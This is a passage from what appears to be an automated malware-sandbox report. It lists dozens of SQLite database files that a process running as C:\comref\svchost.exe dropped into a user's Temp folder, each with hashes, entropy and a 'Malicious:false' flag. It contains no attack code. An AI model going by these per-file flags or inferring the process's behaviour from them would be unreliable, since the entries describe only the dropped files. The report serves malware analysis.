                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ktGiCwTCrw

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\kwvwxzpLuf

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\kxgl1zPo5Q

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\l5c6gYQKUX

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\l9r57Dsbfk

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\lO7fOSfoki

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\lOyxXSQgpq

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\lZZvnPUfYg

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\lf6Auv5kcP

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\litq8HJbEX

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\lthlh0Ykcj

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\lvE3a6Gu0n

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\mOKZPBiCta

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\mPXvk9Uh6r

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\mS701Tfuxk

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\mTZbWa2h2f

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\mflXaVnWcg

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\mgZo4nqM69

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\miieUuZJJv

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\mwb8L3z7qY

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\n0gfzSTCSN

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\nDKAuaISEI

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\nT6bRjMmwf

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\nWo0eqmicz

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
